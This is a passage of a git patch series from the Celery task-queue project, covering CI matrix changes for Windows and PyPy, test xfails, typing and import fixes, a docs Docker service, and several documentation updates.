- branches: [ master ] + branches: [ 'master', '5.0' ] paths: - '**.py' - '**.txt' - '.github/workflows/python-package.yml' pull_request: - branches: [ master ] + branches: [ 'master', '5.0' ] paths: - '**.py' - '**.txt' From 59d88326b8caa84083c01efb3a3983b3332853e9 Mon Sep 17 00:00:00 2001 From: Thomas Grainger Date: Thu, 22 Jul 2021 09:00:57 +0100 Subject: [PATCH 288/415] test on 3.10.b4 (#6867) --- .github/workflows/python-package.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index a515d3de55d..5ca6f54fdb1 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -24,8 +24,8 @@ jobs: strategy: fail-fast: false matrix: - python-version: ['3.6', '3.7', '3.8', '3.9', '3.10.0-beta.3', 'pypy3'] - continue-on-error: ${{ matrix.python-version == '3.10.0-beta.3' }} + python-version: ['3.6', '3.7', '3.8', '3.9', '3.10.0-beta.4', 'pypy3'] + continue-on-error: ${{ startsWith(matrix.python-version, '3.10.0-beta.') }} steps: - name: Install apt packages From bb8030562752dbcd1d130a878f4a0326ad93fc02 Mon Sep 17 00:00:00 2001 From: Thomas Grainger Date: Thu, 22 Jul 2021 10:22:28 +0100 Subject: [PATCH 289/415] create github action for windows (#6271) * create github action for windows * increase tox verbosity * configure pip caching/requirements * Update .github/workflows/windows.yml * define kombu sqs passthrough dep * drop 3.9 from windows due to pycurl * skip test_check_privileges_suspicious_platform[accept_content0] on win32, py38+ * fails on py38+ win32 * bump the maxfail a bit to get more error context * xfail all py3.8+ windows tests * re-enable -v * pytest.raises does not raise AssertionError https://github.com/pytest-dev/pytest/issues/8928 * more xfails * merge windows workflow into python-package * only install apt packages on ubuntu-* * bust pip cache with matrix.os * step.if doesn't need {{ * Update python-package.yml * Windows is never considerred a sus platform this is because Microsft is beyond reproach * fix merge resolution error --- .github/workflows/python-package.yml | 15 ++++++++++++--- requirements/extras/sqs.txt | 3 +-- t/unit/utils/test_platforms.py | 15 ++++++++++++++- tox.ini | 2 +- 4 files changed, 28 insertions(+), 7 deletions(-) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index 5ca6f54fdb1..93e4ae9a13e 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -20,15 +20,24 @@ on: jobs: build: - runs-on: ubuntu-20.04 + runs-on: ${{ matrix.os }} strategy: fail-fast: false matrix: python-version: ['3.6', '3.7', '3.8', '3.9', '3.10.0-beta.4', 'pypy3'] + os: ["ubuntu-20.04", "windows-2019"] + exclude: + - os: windows-2019 + python-version: "pypy3" + - os: windows-2019 + python-version: "3.10.0-beta.4" + - os: windows-2019 + python-version: "3.9" continue-on-error: ${{ startsWith(matrix.python-version, '3.10.0-beta.') }} steps: - name: Install apt packages + if: startsWith(matrix.os, 'ubuntu-') run: | sudo apt update && sudo apt-get install -f libcurl4-openssl-dev libssl-dev gnutls-dev httping expect libmemcached-dev - uses: actions/checkout@v2 @@ -46,9 +55,9 @@ jobs: with: path: ${{ steps.pip-cache.outputs.dir }} key: - ${{ matrix.python-version }}-v1-${{ hashFiles('**/setup.py') }} + ${{ matrix.python-version }}-${{matrix.os}}-${{ hashFiles('**/setup.py') }} restore-keys: | - ${{ matrix.python-version }}-v1- + ${{ matrix.python-version }}-${{matrix.os}} - name: Install tox run: python -m pip install tox tox-gh-actions diff --git a/requirements/extras/sqs.txt b/requirements/extras/sqs.txt index d4a662987a7..8a7fc342f07 100644 --- a/requirements/extras/sqs.txt +++ b/requirements/extras/sqs.txt @@ -1,2 +1 @@ -boto3>=1.9.125 -pycurl==7.43.0.5 # Latest version with wheel built (for appveyor) +kombu[sqs] diff --git a/t/unit/utils/test_platforms.py b/t/unit/utils/test_platforms.py index 256a7d6cefe..f0b1fde8d3a 100644 --- a/t/unit/utils/test_platforms.py +++ b/t/unit/utils/test_platforms.py @@ -825,10 +825,17 @@ def test_setgroups_raises_EPERM(self, hack, getgroups): getgroups.assert_called_with() +fails_on_win32 = pytest.mark.xfail( + sys.platform == "win32", + reason="fails on py38+ windows", +) + + +@fails_on_win32 @pytest.mark.parametrize('accept_content', [ {'pickle'}, {'application/group-python-serialize'}, - {'pickle', 'application/group-python-serialize'} + {'pickle', 'application/group-python-serialize'}, ]) @patch('celery.platforms.os') def test_check_privileges_suspicious_platform(os_module, accept_content): @@ -866,6 +873,7 @@ def test_check_privileges_no_fchown(os_module, accept_content, recwarn): assert len(recwarn) == 0 +@fails_on_win32 @pytest.mark.parametrize('accept_content', [ {'pickle'}, {'application/group-python-serialize'}, @@ -886,6 +894,7 @@ def test_check_privileges_without_c_force_root(os_module, accept_content): check_privileges(accept_content) +@fails_on_win32 @pytest.mark.parametrize('accept_content', [ {'pickle'}, {'application/group-python-serialize'}, @@ -903,6 +912,7 @@ def test_check_privileges_with_c_force_root(os_module, accept_content): check_privileges(accept_content) +@fails_on_win32 @pytest.mark.parametrize(('accept_content', 'group_name'), [ ({'pickle'}, 'sudo'), ({'application/group-python-serialize'}, 'sudo'), @@ -931,6 +941,7 @@ def test_check_privileges_with_c_force_root_and_with_suspicious_group( check_privileges(accept_content) +@fails_on_win32 @pytest.mark.parametrize(('accept_content', 'group_name'), [ ({'pickle'}, 'sudo'), ({'application/group-python-serialize'}, 'sudo'), @@ -960,6 +971,7 @@ def test_check_privileges_without_c_force_root_and_with_suspicious_group( check_privileges(accept_content) +@fails_on_win32 @pytest.mark.parametrize('accept_content', [ {'pickle'}, {'application/group-python-serialize'}, @@ -988,6 +1000,7 @@ def test_check_privileges_with_c_force_root_and_no_group_entry( assert recwarn[1].message.args[0] == expected_message +@fails_on_win32 @pytest.mark.parametrize('accept_content', [ {'pickle'}, {'application/group-python-serialize'}, diff --git a/tox.ini b/tox.ini index 5e0b4a73f76..e3fb16cfc84 100644 --- a/tox.ini +++ b/tox.ini @@ -42,7 +42,7 @@ deps= bandit: bandit commands = - unit: pytest -xv --cov=celery --cov-report=xml --cov-report term {posargs} + unit: pytest --maxfail=10 -v --cov=celery --cov-report=xml --cov-report term {posargs} integration: pytest -xsv t/integration {posargs} setenv = BOTO_CONFIG = /dev/null From ea1df2ba82e2492657c2e6c512f85a188ecdec18 Mon Sep 17 00:00:00 2001 From: Thomas Grainger Date: Fri, 23 Jul 2021 10:04:30 +0100 Subject: [PATCH 290/415] import celery lazilly in pytest plugin and unignore flake8 F821, "undefined name '...'" (#6872) * unignore f821 * defer celery imports in celery pytest plugin --- celery/contrib/pytest.py | 17 +++++++++++++++-- celery/contrib/testing/manager.py | 3 ++- celery/contrib/testing/mocks.py | 6 +++++- celery/contrib/testing/worker.py | 4 +++- celery/events/state.py | 7 +++---- celery/platforms.py | 25 ++++++++++--------------- celery/utils/collections.py | 1 + celery/utils/log.py | 1 + celery/utils/saferepr.py | 2 ++ celery/utils/text.py | 1 + setup.cfg | 1 - t/benchmarks/bench_worker.py | 1 + t/integration/test_canvas.py | 2 +- 13 files changed, 45 insertions(+), 26 deletions(-) diff --git a/celery/contrib/pytest.py b/celery/contrib/pytest.py index c54ea5cb0fa..f44a828ecaa 100644 --- a/celery/contrib/pytest.py +++ b/celery/contrib/pytest.py @@ -1,11 +1,17 @@ """Fixtures and testing utilities for :pypi:`pytest `.""" import os from contextlib import contextmanager +from typing import TYPE_CHECKING, Any, Mapping, Sequence, Union import pytest -from .testing import worker -from .testing.app import TestApp, setup_default_app +if TYPE_CHECKING: + from celery import Celery + + from ..worker import WorkController +else: + Celery = WorkController = object + NO_WORKER = os.environ.get('NO_WORKER') @@ -30,6 +36,9 @@ def _create_app(enable_logging=False, **config): # type: (Any, Any, Any, **Any) -> Celery """Utility context used to setup Celery app for pytest fixtures.""" + + from .testing.app import TestApp, setup_default_app + parameters = {} if not parameters else parameters test_app = TestApp( set_as_current=False, @@ -83,6 +92,8 @@ def celery_session_worker( ): # type: (...) -> WorkController """Session Fixture: Start worker that lives throughout test suite.""" + from .testing import worker + if not NO_WORKER: for module in celery_includes: celery_session_app.loader.import_task_module(module) @@ -188,6 +199,8 @@ def celery_worker(request, celery_worker_parameters): # type: (Any, Celery, Sequence[str], str, Any) -> WorkController """Fixture: Start worker in a thread, stop it when the test returns.""" + from .testing import worker + if not NO_WORKER: for module in celery_includes: celery_app.loader.import_task_module(module) diff --git a/celery/contrib/testing/manager.py b/celery/contrib/testing/manager.py index d053a03e81a..5c5c3e7797c 100644 --- a/celery/contrib/testing/manager.py +++ b/celery/contrib/testing/manager.py @@ -4,12 +4,13 @@ from collections import defaultdict from functools import partial from itertools import count +from typing import Any, Callable, Dict, Sequence, TextIO, Tuple from kombu.utils.functional import retry_over_time from celery import states from celery.exceptions import TimeoutError -from celery.result import ResultSet +from celery.result import AsyncResult, ResultSet from celery.utils.text import truncate from celery.utils.time import humanize_seconds as _humanize_seconds diff --git a/celery/contrib/testing/mocks.py b/celery/contrib/testing/mocks.py index 6294e6905cb..82775011afc 100644 --- a/celery/contrib/testing/mocks.py +++ b/celery/contrib/testing/mocks.py @@ -1,6 +1,10 @@ """Useful mocks for unit testing.""" import numbers from datetime import datetime, timedelta +from typing import Any, Mapping, Sequence + +from celery import Celery +from celery.canvas import Signature try: from case import Mock @@ -49,7 +53,7 @@ def TaskMessage1( kwargs=None, # type: Mapping callbacks=None, # type: Sequence[Signature] errbacks=None, # type: Sequence[Signature] - chain=None, # type: Squence[Signature] + chain=None, # type: Sequence[Signature] **options # type: Any ): # type: (...) -> Any diff --git a/celery/contrib/testing/worker.py b/celery/contrib/testing/worker.py index 09fecc0a7a2..b4e68cb8dec 100644 --- a/celery/contrib/testing/worker.py +++ b/celery/contrib/testing/worker.py @@ -2,8 +2,10 @@ import os import threading from contextlib import contextmanager +from typing import Any, Iterable, Union -from celery import worker +import celery.worker.consumer +from celery import Celery, worker from celery.result import _set_task_join_will_block, allow_join_result from celery.utils.dispatch import Signal from celery.utils.nodenames import anon_nodename diff --git a/celery/events/state.py b/celery/events/state.py index f8ff9ad687e..087131aeec3 100644 --- a/celery/events/state.py +++ b/celery/events/state.py @@ -22,6 +22,7 @@ from itertools import islice from operator import itemgetter from time import time +from typing import Mapping from weakref import WeakSet, ref from kombu.clocks import timetuple @@ -429,15 +430,13 @@ def __init__(self, callback=None, self._tasks_to_resolve = {} self.rebuild_taskheap() - # type: Mapping[TaskName, WeakSet[Task]] self.tasks_by_type = CallableDefaultdict( - self._tasks_by_type, WeakSet) + self._tasks_by_type, WeakSet) # type: Mapping[str, WeakSet[Task]] self.tasks_by_type.update( _deserialize_Task_WeakSet_Mapping(tasks_by_type, self.tasks)) - # type: Mapping[Hostname, WeakSet[Task]] self.tasks_by_worker = CallableDefaultdict( - self._tasks_by_worker, WeakSet) + self._tasks_by_worker, WeakSet) # type: Mapping[str, WeakSet[Task]] self.tasks_by_worker.update( _deserialize_Task_WeakSet_Mapping(tasks_by_worker, self.tasks)) diff --git a/celery/platforms.py b/celery/platforms.py index 82fed9cb9f0..d2fe02bede3 100644 --- a/celery/platforms.py +++ b/celery/platforms.py @@ -581,6 +581,14 @@ def _setuid(uid, gid): 'non-root user able to restore privileges after setuid.') +if hasattr(_signal, 'setitimer'): + def _arm_alarm(seconds): + _signal.setitimer(_signal.ITIMER_REAL, seconds) +else: + def _arm_alarm(seconds): + _signal.alarm(math.ceil(seconds)) + + class Signals: """Convenience interface to :mod:`signals`. @@ -619,21 +627,8 @@ class Signals: ignored = _signal.SIG_IGN default = _signal.SIG_DFL - if hasattr(_signal, 'setitimer'): - - def arm_alarm(self, seconds): - _signal.setitimer(_signal.ITIMER_REAL, seconds) - else: # pragma: no cover - try: - from itimer import alarm as _itimer_alarm - except ImportError: - - def arm_alarm(self, seconds): - _signal.alarm(math.ceil(seconds)) - else: # pragma: no cover - - def arm_alarm(self, seconds): - return _itimer_alarm(seconds) + def arm_alarm(self, seconds): + return _arm_alarm(seconds) def reset_alarm(self): return _signal.alarm(0) diff --git a/celery/utils/collections.py b/celery/utils/collections.py index 1fedc775771..df37d12c3b4 100644 --- a/celery/utils/collections.py +++ b/celery/utils/collections.py @@ -7,6 +7,7 @@ from heapq import heapify, heappop, heappush from itertools import chain, count from queue import Empty +from typing import Any, Dict, Iterable, List from .functional import first, uniq from .text import match_case diff --git a/celery/utils/log.py b/celery/utils/log.py index 8ca34e7c5ae..48a2bc40897 100644 --- a/celery/utils/log.py +++ b/celery/utils/log.py @@ -6,6 +6,7 @@ import threading import traceback from contextlib import contextmanager +from typing import AnyStr, Sequence from kombu.log import LOG_LEVELS from kombu.log import get_logger as _get_logger diff --git a/celery/utils/saferepr.py b/celery/utils/saferepr.py index d079734fc5d..adcfc72efca 100644 --- a/celery/utils/saferepr.py +++ b/celery/utils/saferepr.py @@ -15,6 +15,8 @@ from itertools import chain from numbers import Number from pprint import _recursion +from typing import (Any, AnyStr, Callable, Dict, Iterator, List, Sequence, + Set, Tuple) from .text import truncate diff --git a/celery/utils/text.py b/celery/utils/text.py index d685f7b8fc7..661a02fc002 100644 --- a/celery/utils/text.py +++ b/celery/utils/text.py @@ -5,6 +5,7 @@ from functools import partial from pprint import pformat from textwrap import fill +from typing import Any, List, Mapping, Pattern __all__ = ( 'abbr', 'abbrtask', 'dedent', 'dedent_initial', diff --git a/setup.cfg b/setup.cfg index 448e97dce2a..3638e56dc6f 100644 --- a/setup.cfg +++ b/setup.cfg @@ -23,7 +23,6 @@ extend-ignore = D412, # No blank lines allowed between a section header and its content E741, # ambiguous variable name '...' E742, # ambiguous class definition '...' - F821, # undefined name '...' per-file-ignores = t/*,setup.py,examples/*,docs/*,extra/*: # docstrings diff --git a/t/benchmarks/bench_worker.py b/t/benchmarks/bench_worker.py index adc88ede47b..5c9f6f46ba3 100644 --- a/t/benchmarks/bench_worker.py +++ b/t/benchmarks/bench_worker.py @@ -1,5 +1,6 @@ import os import sys +import time from celery import Celery diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index 3109d021a33..11079a70d92 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -1538,7 +1538,7 @@ def test_chord_on_error(self, manager): res.children[0].children[0].result ).result failed_task_id = uuid_patt.search(str(callback_chord_exc)) - assert (failed_task_id is not None), "No task ID in %r" % callback_exc + assert (failed_task_id is not None), "No task ID in %r" % callback_chord_exc failed_task_id = failed_task_id.group() # Use new group_id result metadata to get group ID. From afff659fcca833ea48483b219355044dc8de7aa2 Mon Sep 17 00:00:00 2001 From: Jonas Kittner Date: Tue, 20 Jul 2021 19:48:21 +0200 Subject: [PATCH 291/415] fix inspect --json output to return valid json without --quiet --- celery/bin/control.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/celery/bin/control.py b/celery/bin/control.py index a13963a54b3..fbd3730c490 100644 --- a/celery/bin/control.py +++ b/celery/bin/control.py @@ -144,6 +144,8 @@ def inspect(ctx, action, timeout, destination, json, **kwargs): if json: ctx.obj.echo(dumps(replies)) + return + nodecount = len(replies) if not ctx.obj.quiet: ctx.obj.echo('\n{} {} online.'.format( From 170e96a4c39366ba2c2f9120b042cd7f7c0a00be Mon Sep 17 00:00:00 2001 From: Thomas Grainger Date: Mon, 26 Jul 2021 23:08:18 +0100 Subject: [PATCH 292/415] configure pypy3.7 --- .github/workflows/python-package.yml | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index 93e4ae9a13e..185072632dc 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -24,11 +24,13 @@ jobs: strategy: fail-fast: false matrix: - python-version: ['3.6', '3.7', '3.8', '3.9', '3.10.0-beta.4', 'pypy3'] + python-version: ['3.6', '3.7', '3.8', '3.9', '3.10.0-beta.4', 'pypy-3.6', 'pypy-3.7'] os: ["ubuntu-20.04", "windows-2019"] exclude: - os: windows-2019 - python-version: "pypy3" + python-version: 'pypy-3.7' + - os: windows-2019 + python-version: 'pypy-3.6' - os: windows-2019 python-version: "3.10.0-beta.4" - os: windows-2019 From f02d7c60051ce5202349fe7c795ebf5000d9526d Mon Sep 17 00:00:00 2001 From: "pre-commit-ci[bot]" <66853113+pre-commit-ci[bot]@users.noreply.github.com> Date: Thu, 29 Jul 2021 12:53:52 +0300 Subject: [PATCH 293/415] [pre-commit.ci] pre-commit autoupdate (#6876) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit updates: - [github.com/asottile/pyupgrade: v2.21.2 → v2.23.0](https://github.com/asottile/pyupgrade/compare/v2.21.2...v2.23.0) - https://gitlab.com/pycqa/flake8 → https://github.com/PyCQA/flake8 Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- .pre-commit-config.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 057c78f4787..940f18f6837 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,11 +1,11 @@ repos: - repo: https://github.com/asottile/pyupgrade - rev: v2.21.2 + rev: v2.23.0 hooks: - id: pyupgrade args: ["--py36-plus"] - - repo: https://gitlab.com/pycqa/flake8 + - repo: https://github.com/PyCQA/flake8 rev: 3.9.2 hooks: - id: flake8 From 98fdcd749b0c4d3ec1ad0cfae058d193595413e1 Mon Sep 17 00:00:00 2001 From: John Zeringue Date: Fri, 30 Jul 2021 11:31:36 -0400 Subject: [PATCH 294/415] Fix typo in mark_as_failure --- celery/backends/base.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/celery/backends/base.py b/celery/backends/base.py index 71ca218d56e..4ad6de4697b 100644 --- a/celery/backends/base.py +++ b/celery/backends/base.py @@ -190,7 +190,7 @@ def mark_as_failure(self, task_id, exc, # elements of the chain. This is only truly important so # that the last chain element which controls completion of # the chain itself is marked as completed to avoid stalls. - if self.store_result and state in states.PROPAGATE_STATES: + if store_result and state in states.PROPAGATE_STATES: try: chained_task_id = chain_elem_opts['task_id'] except KeyError: From 90d027eceab84a35966a39c7ca9918db66e6e0ed Mon Sep 17 00:00:00 2001 From: Marlon Date: Tue, 3 Aug 2021 02:54:40 +0000 Subject: [PATCH 295/415] Update docs to reflect default scheduling strategy -Ofair is now the default scheduling strategy as of v4.0: https://github.com/celery/celery/blob/8ebcce1523d79039f23da748f00bec465951de2a/docs/history/whatsnew-4.0.rst#ofair-is-now-the-default-scheduling-strategy --- docs/userguide/tasks.rst | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/docs/userguide/tasks.rst b/docs/userguide/tasks.rst index d35ac7d2891..b32ba11c8d6 100644 --- a/docs/userguide/tasks.rst +++ b/docs/userguide/tasks.rst @@ -64,11 +64,12 @@ consider enabling the :setting:`task_reject_on_worker_lost` setting. the process by force so only use them to detect cases where you haven't used manual timeouts yet. - The default prefork pool scheduler is not friendly to long-running tasks, - so if you have tasks that run for minutes/hours make sure you enable - the :option:`-Ofair ` command-line argument to - the :program:`celery worker`. See :ref:`optimizing-prefetch-limit` for more - information, and for the best performance route long-running and + In previous versions, the default prefork pool scheduler was not friendly + to long-running tasks, so if you had tasks that ran for minutes/hours, it + was advised to enable the :option:`-Ofair ` command-line + argument to the :program:`celery worker`. However, as of version 4.0, + -Ofair is now the default scheduling strategy. See :ref:`optimizing-prefetch-limit` + for more information, and for the best performance route long-running and short-running tasks to dedicated workers (:ref:`routing-automatic`). If your worker hangs then please investigate what tasks are running From a8a8cd448988cc45023eec556d1060acd8e47721 Mon Sep 17 00:00:00 2001 From: "pre-commit-ci[bot]" <66853113+pre-commit-ci[bot]@users.noreply.github.com> Date: Mon, 2 Aug 2021 16:29:04 +0000 Subject: [PATCH 296/415] [pre-commit.ci] pre-commit autoupdate MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit updates: - [github.com/asottile/pyupgrade: v2.23.0 → v2.23.1](https://github.com/asottile/pyupgrade/compare/v2.23.0...v2.23.1) - [github.com/pycqa/isort: 5.9.2 → 5.9.3](https://github.com/pycqa/isort/compare/5.9.2...5.9.3) --- .pre-commit-config.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 940f18f6837..705d6f859ae 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,6 +1,6 @@ repos: - repo: https://github.com/asottile/pyupgrade - rev: v2.23.0 + rev: v2.23.1 hooks: - id: pyupgrade args: ["--py36-plus"] @@ -24,6 +24,6 @@ repos: - id: mixed-line-ending - repo: https://github.com/pycqa/isort - rev: 5.9.2 + rev: 5.9.3 hooks: - id: isort From 1c477c4098659648395b46987639e1ac3dba7e92 Mon Sep 17 00:00:00 2001 From: Thomas Grainger Date: Tue, 3 Aug 2021 16:02:04 +0100 Subject: [PATCH 297/415] test on win32 py3.9 with pycurl windows wheels from https://www.lfd.uci.edu/~gohlke/pythonlibs/ (#6875) * use windows wheels from https://www.lfd.uci.edu/~gohlke/pythonlibs/ you're not supposed to use the wheels directly so I made my own mirror on github pages If you merge this I'll need you to move the repo into the celery org * use find-links * pycurl direct reference * fix platform_system typo * unexeclude win32 pypy and 3.10 * Update tox.ini * Revert "unexeclude win32 pypy and 3.10" This reverts commit 6bb7e8a980f3839f310607c767c8a97f563ca345. * try simple repo * use the celery.github.io wheelhouse --- .github/workflows/python-package.yml | 2 -- tox.ini | 1 + 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index 185072632dc..8ab6c68e6c5 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -33,8 +33,6 @@ jobs: python-version: 'pypy-3.6' - os: windows-2019 python-version: "3.10.0-beta.4" - - os: windows-2019 - python-version: "3.9" continue-on-error: ${{ startsWith(matrix.python-version, '3.10.0-beta.') }} steps: diff --git a/tox.ini b/tox.ini index e3fb16cfc84..bf181af2731 100644 --- a/tox.ini +++ b/tox.ini @@ -45,6 +45,7 @@ commands = unit: pytest --maxfail=10 -v --cov=celery --cov-report=xml --cov-report term {posargs} integration: pytest -xsv t/integration {posargs} setenv = + PIP_EXTRA_INDEX_URL=https://celery.github.io/celery-wheelhouse/repo/simple/ BOTO_CONFIG = /dev/null WORKER_LOGLEVEL = INFO PYTHONIOENCODING = UTF-8 From 186fa4791ee988263eafbc5648d032c6b4ae1c84 Mon Sep 17 00:00:00 2001 From: Tom Harvey Date: Wed, 4 Aug 2021 13:09:15 +0200 Subject: [PATCH 298/415] Note on gevent time limit support (#6892) I only learned this from https://github.com/celery/celery/issues/1958 which requests a doc update to make this clearer. --- docs/userguide/workers.rst | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/docs/userguide/workers.rst b/docs/userguide/workers.rst index d87b14f6e18..fa3cf468884 100644 --- a/docs/userguide/workers.rst +++ b/docs/userguide/workers.rst @@ -434,7 +434,7 @@ Time Limits .. versionadded:: 2.0 -:pool support: *prefork/gevent* +:pool support: *prefork/gevent (see note below)* .. sidebar:: Soft, or hard? @@ -474,6 +474,11 @@ Time limits can also be set using the :setting:`task_time_limit` / Time limits don't currently work on platforms that don't support the :sig:`SIGUSR1` signal. +.. note:: + + The gevent pool does not implement soft time limits. Additionally, + it will not enforce the hard time limit if the task is blocking. + Changing time limits at run-time -------------------------------- From ebeb4a4607d83cb5668fad5aaac5d5d8f2fb05b4 Mon Sep 17 00:00:00 2001 From: Dimitar Ganev Date: Thu, 5 Aug 2021 17:18:32 +0300 Subject: [PATCH 299/415] Add docs service in docker-compose (#6894) * Add docs service in docker-compose * Add documentation about running the docs with docker --- CONTRIBUTING.rst | 14 ++++++++++++ docker/docker-compose.yml | 11 ++++++++++ docker/docs/Dockerfile | 29 +++++++++++++++++++++++++ docker/docs/start | 7 ++++++ docs/Makefile | 7 ++++++ docs/make.bat | 6 +++++ requirements/docs.txt | 1 + requirements/extras/sphinxautobuild.txt | 1 + 8 files changed, 76 insertions(+) create mode 100644 docker/docs/Dockerfile create mode 100644 docker/docs/start create mode 100644 requirements/extras/sphinxautobuild.txt diff --git a/CONTRIBUTING.rst b/CONTRIBUTING.rst index 5e51b3083f5..c96ee55fb1e 100644 --- a/CONTRIBUTING.rst +++ b/CONTRIBUTING.rst @@ -710,6 +710,20 @@ After building succeeds, the documentation is available at :file:`_build/html`. .. _contributing-verify: +Build the documentation using Docker +------------------------------------ + +Build the documentation by running: + +.. code-block:: console + + $ docker-compose -f docker/docker-compose.yml up --build docs + +The service will start a local docs server at ``:7000``. The server is using +``sphinx-autobuild`` with the ``--watch`` option enabled, so you can live +edit the documentation. Check the additional options and configs in +:file:`docker/docker-compose.yml` + Verifying your contribution --------------------------- diff --git a/docker/docker-compose.yml b/docker/docker-compose.yml index d0c4c34179e..037947f35e0 100644 --- a/docker/docker-compose.yml +++ b/docker/docker-compose.yml @@ -37,3 +37,14 @@ services: azurite: image: mcr.microsoft.com/azure-storage/azurite:3.10.0 + + docs: + image: celery/docs + build: + context: .. + dockerfile: docker/docs/Dockerfile + volumes: + - ../docs:/docs:z + ports: + - "7000:7000" + command: /start-docs \ No newline at end of file diff --git a/docker/docs/Dockerfile b/docker/docs/Dockerfile new file mode 100644 index 00000000000..616919f2b54 --- /dev/null +++ b/docker/docs/Dockerfile @@ -0,0 +1,29 @@ +FROM python:3.9-slim-buster + +ENV PYTHONUNBUFFERED 1 +ENV PYTHONDONTWRITEBYTECODE 1 + +RUN apt-get update \ + # dependencies for building Python packages + && apt-get install -y build-essential \ + && apt-get install -y texlive \ + && apt-get install -y texlive-latex-extra \ + && apt-get install -y dvipng \ + && apt-get install -y python3-sphinx \ + # Translations dependencies + && apt-get install -y gettext \ + # cleaning up unused files + && apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false \ + && rm -rf /var/lib/apt/lists/* + +# # Requirements are installed here to ensure they will be cached. +COPY /requirements /requirements + +# All imports needed for autodoc. +RUN pip install -r /requirements/docs.txt -r /requirements/default.txt + +COPY docker/docs/start /start-docs +RUN sed -i 's/\r$//g' /start-docs +RUN chmod +x /start-docs + +WORKDIR /docs \ No newline at end of file diff --git a/docker/docs/start b/docker/docs/start new file mode 100644 index 00000000000..9c0b4d4de1d --- /dev/null +++ b/docker/docs/start @@ -0,0 +1,7 @@ +#!/bin/bash + +set -o errexit +set -o pipefail +set -o nounset + +make livehtml \ No newline at end of file diff --git a/docs/Makefile b/docs/Makefile index 3ec9ca41f78..cfed0cb0fdf 100644 --- a/docs/Makefile +++ b/docs/Makefile @@ -6,6 +6,8 @@ SPHINXOPTS = SPHINXBUILD = sphinx-build PAPER = BUILDDIR = _build +SOURCEDIR = . +APP = /docs # Internal variables. PAPEROPT_a4 = -D latex_paper_size=a4 @@ -18,6 +20,7 @@ I18NSPHINXOPTS = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . help: @echo "Please use \`make ' where is one of" @echo " html to make standalone HTML files" + @echo " livehtml to start a local server hosting the docs" @echo " dirhtml to make HTML files named index.html in directories" @echo " singlehtml to make a single large HTML file" @echo " pickle to make pickle files" @@ -231,3 +234,7 @@ pseudoxml: $(SPHINXBUILD) -b pseudoxml $(ALLSPHINXOPTS) $(BUILDDIR)/pseudoxml @echo @echo "Build finished. The pseudo-XML files are in $(BUILDDIR)/pseudoxml." + +.PHONY: livehtml +livehtml: + sphinx-autobuild -b html --host 0.0.0.0 --port 7000 --watch $(APP) -c . $(SOURCEDIR) $(BUILDDIR)/html \ No newline at end of file diff --git a/docs/make.bat b/docs/make.bat index a75aa4e2866..045f00bf8c5 100644 --- a/docs/make.bat +++ b/docs/make.bat @@ -19,6 +19,7 @@ if "%1" == "help" ( :help echo.Please use `make ^` where ^ is one of echo. html to make standalone HTML files + echo. livehtml to start a local server hosting the docs echo. dirhtml to make HTML files named index.html in directories echo. singlehtml to make a single large HTML file echo. pickle to make pickle files @@ -269,4 +270,9 @@ if "%1" == "pseudoxml" ( goto end ) +if "%1" == "livehtml" ( + sphinx-autobuild -b html --open-browser -p 7000 --watch %APP% -c . %SOURCEDIR% %BUILDDIR%/html + goto end +) + :end diff --git a/requirements/docs.txt b/requirements/docs.txt index 69d31dffcce..46b82bd3c26 100644 --- a/requirements/docs.txt +++ b/requirements/docs.txt @@ -6,3 +6,4 @@ sphinx-click==2.5.0 -r test.txt -r deps/mock.txt -r extras/auth.txt +-r extras/sphinxautobuild.txt diff --git a/requirements/extras/sphinxautobuild.txt b/requirements/extras/sphinxautobuild.txt new file mode 100644 index 00000000000..01ce5dfaf45 --- /dev/null +++ b/requirements/extras/sphinxautobuild.txt @@ -0,0 +1 @@ +sphinx-autobuild>=2021.3.14 \ No newline at end of file From 846066a34413509695434ed5a661280d7db4f993 Mon Sep 17 00:00:00 2001 From: Caitlin <10053862+con-cat@users.noreply.github.com> Date: Fri, 6 Aug 2021 13:35:38 +1000 Subject: [PATCH 300/415] Update docs on Redis Message Priorities The naming of priority queues in Redis doesn't currently work as it's described in the docs - the queues have a separator as well as a priority number appended to them, and the highest priority queue has no suffix. This change updates the docs to reflect this, and adds information on how to configure the separator. Relevant link: https://github.com/celery/kombu/issues/422 --- docs/userguide/routing.rst | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/docs/userguide/routing.rst b/docs/userguide/routing.rst index 300c655a12d..ab1a0d6c2c4 100644 --- a/docs/userguide/routing.rst +++ b/docs/userguide/routing.rst @@ -274,22 +274,34 @@ To start scheduling tasks based on priorities you need to configure queue_order_ The priority support is implemented by creating n lists for each queue. This means that even 